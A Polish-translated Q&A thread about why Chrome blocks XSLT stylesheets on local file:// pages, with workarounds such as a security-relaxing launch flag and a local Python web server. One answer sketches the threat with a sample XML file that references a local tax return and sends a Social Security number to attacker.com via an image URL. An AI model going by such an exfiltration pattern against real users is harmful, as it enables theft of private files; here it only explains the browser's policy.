Czy można zmusić Chrome do przeprowadzenia transformacji XSL na pliku lokalnym?

91

Zajrzałem do xslt i zacząłem testować na przykładach w w3schools.

Jednak kiedy zapisuję pliki xml i xsl w plikach i próbuję je otworzyć lokalnie, chrome nie wykona transformacji xsl. Po prostu pokazuje pustą stronę.

Dodałem <?xml-stylesheet type="text/xsl" href="style.xsl">tag do dokumentu xml, a Firefox renderuje go tak, jak powinien. Ponadto, jeśli patrzę na pliki przez serwer WWW, chrome wyświetla plik tak, jak powinien.

Czy to dlatego, że Chrome ma problem ze znalezieniem informacji w arkuszu stylów, gdy łącze jest lokalne? Zmiana href na file:///C:/xsl/style.xslnie zrobiła żadnej różnicy.

Aktualizacja: Wydaje się, że jest to efekt uboczny polityki bezpieczeństwa, która nie traktuje file: /// * jako tego samego pochodzenia. To powoduje, że w konsoli pojawia się następujący błąd:

Niebezpieczna próba załadowania pliku URL: /// C: /xsl-rpg/style.xsl z ramki z plikiem URL: /// C: /xsl-rpg/data.xml. Domeny, protokoły i porty muszą być zgodne.

Zaz
źródło
1
Wygląda na to, że z file:protokołu Chrome wyrzuca ten sam błąd domeny.
1
Na IE11 to działa. Chrome robi się zły.
Marco Demaio

Odpowiedzi:

74

Krótka odpowiedź brzmi: „Nie, użyj jednej z wielu dostępnych przeglądarek .

Powodem, dla którego to nie działa, jest problem bezpieczeństwa, który Chrome rozwiązał w kontrowersyjny sposób [1] [2] [3] [4] , blokując dostęp do lokalnych plików XSLT w tym samym katalogu przez pliki XML. pliki mogą uzyskać dostęp do plików .CSS w tym samym katalogu.

We wszystkich wyżej wymienionych kwestiach użytkownicy prosili o wyraźniejszy komunikat o błędzie (ponieważ domeny, protokoły i porty w rzeczywistości są zgodne) lub przynajmniej wyświetlenie XML bez stylizacji. Programiści Chrome zignorowali te żądania.

Zaz
źródło
18
Chociaż ich troska o bezpieczeństwo ma sens, pliki XML powinny mieć możliwość ładowania arkuszy stylów XSL z tego samego katalogu, tak jak pliki HTML mogą ładować obrazy i skrypty z tego samego katalogu. Jest problem, który możesz oznaczyć, ale zespół programistów Chrome zakazał nowych komentarzy na jego temat - pomimo tego, że narzekali, że nie mogą oszacować, jak bardzo użytkownicy chcieli, aby lokalne pochodzenie pliku było rozluźnione.
Dan Dascalescu,
1
Ciekawostka: Safari na Macu (8.0) działa dobrze z lokalnym XSLT, ale Safari na symulatorze iOS (8) (i przypuszczam też na iOS). Otrzymałem ten sam błąd co w Chrome „Domeny, protokoły i porty muszą być zgodne. ”. Ale jeśli mam zaimplementować UIWebView w aplikacji i załadować XML z XSLT, wszystko działa OK.
Paul Brewczyński
Nie ma sensu używać innej przeglądarki, gdy zadaniem jest naprawienie określonego renderowania xslt w przeglądarkach Chrome ...
n611x007
Jedną z metod, która działa z Chromium, jest wstawienie pliku XSL do pliku XML jako danych: text / xsl URI.
EricLaw
57

Możesz to zrobić lokalnie, używając flag wiersza poleceń Chrome.

Specyficzna flaga to --allow-file-access-from-files

W systemie OS X: uruchom Terminal.app /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

W systemie Windows: z wiersza poleceń uruchom %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

Uwaga: prawdopodobnie będziesz musiał zamknąć Chrome, jeśli jest obecnie uruchomiony, w przeciwnym razie Ch

Jake Burton
źródło
Wydaje się, że to nie działa dla mnie w systemie Windows 7. Znalazłem chrome.exe znajdujący się tutaj:, C:\Program Files (x86)\Google\Chrome\Applicationa polecenie --allow-file-access-from-files wykonuje się dobrze, ale mój lokalny dokument XML (przekształcony przez lokalny plik XSLT) nie jest wyświetlany.
Rick wspiera Monikę
2
Może trzeba ręcznie zabić wszystkie uruchomione procesy systemu Windows dla chrome.exe w menedżerze zadań systemu Windows. U mnie to zadziałało.
Christian Schulzendorff
1
/Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --allow-file-access-from-filespracował dla mnie. Oczywiście używam Chrome Canary. Po uruchomieniu tego polecenia powinno się otworzyć nowe okno przeglądarki Chrome i umożliwić wykonanie przekształcenia XSL.
SeanLF
2
Szybciej w systemie Windows 7: klawisz okna + R; "chrome --allow-file-access-from-files"; Wchodzić.
Aaron Campbell
Lub w PowerShell (zabija poprzednie chromy za ciebie):get-process chrome | stop-process; start-process chrome --allow-file-access-from-files
Aaron Campbell
15

Jeśli chcesz trzymać się OP, odpowiedź brzmi nie (jak wskazywali inni), ale jednym ze sposobów rozwiązania problemu jest uruchomienie prostego serwera internetowego i otwieranie plików przez http w chrome. Jeśli masz zainstalowany Python 2.x, możesz uruchomić serwer WWW, wpisując:

python -m SimpleHTTPServer

Lub w Pythonie 3.x:

python3 -m http.server

a następnie otwórz plik, używając http://localhost:8000/yourfile.xmlw chrome. Mam nadzieję, że chcesz po prostu wykonać swoją pracę i nie jest to kluczowa rzecz, aby otwierać plik za pomocąfile://

morfeusz
źródło
3

Zajęło to trochę czasu na rozszyfrowanie strony błędów przeglądarki Chrome - bardzo chętnie nie wyjaśniają, na czym polega problem i dlaczego wybrali łamanie wszystkich, a nie wszystkich.

Załóżmy, że mam plik XML - gdzieś - na swoim dysku twardym, np .:

C: \ Users \ Ian \ Documents \ Taxes \ StudioTaxReturn_2015.xml

I złośliwemu podmiotowi - w jakiś sposób - udało się upuścić złośliwy plik Xml na mój komputer, np .:

C: \ Users \ Ian \ AppData \ LocalLow \ Temp \ TrojanVirusWorm.xml

Imagine TrojanVirusWorm.xml zawiera instrukcję przetwarzania arkusza stylów ( PI ):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

Następnie osoba atakująca instruuje moją przeglądarkę, aby przejść do lokalnie zapisanego trojanVirusWorm.xmlpliku.

Najwyraźniej istnieje sposób, w jaki plik XML może odczytać zawartość pliku XSD (zamiast być przekształcanym przez plik XSD):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

Nie rozumiem, jak plik XML może odczytać plik arkusza stylów. Ale zespół Chrome zapewnia nas, że jest to zagrożenie i nie można go rozwiązać.

Każda inna przeglądarka to rozwiązała. Rozwiązali to, bo to nie jest problem .

Ian Boyd
źródło
3

Moje obejście, aby zobaczyć xml zgodnie z plikiem xsl

Załóżmy, że mamy plik some_file.xml z nagłówkami:

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. Pobieramy plik https://some-site.com/Common.xsli umieszczamy go oboksome_file.xml
  2. Zmień część naszego nagłówka z href="https://some-site.com/Common.xsl"na href="http://localhost:8001/Common.xsl"
  3. Uruchom w katalogu z naszymi plikami - python3 -m http.server 8001
  4. Otwórz w dowolnej przeglądarce http://localhost:8001/some_file.xml
Greg Eremeev
źródło
0

Możesz włączyć Chrome, aby renderował plik XSL, zmieniając ustawienia przeglądarki. Bezpieczniejszym podejściem byłoby uzyskanie dostępu do niego za pośrednictwem lokalnego serwera internetowego, takiego jak Visual Studio Code Live Server lub Apache. Aby uzyskać instrukcje, zobacz XSLT nie będzie renderować na plikach lokalnych .

Ryan C. Perry
źródło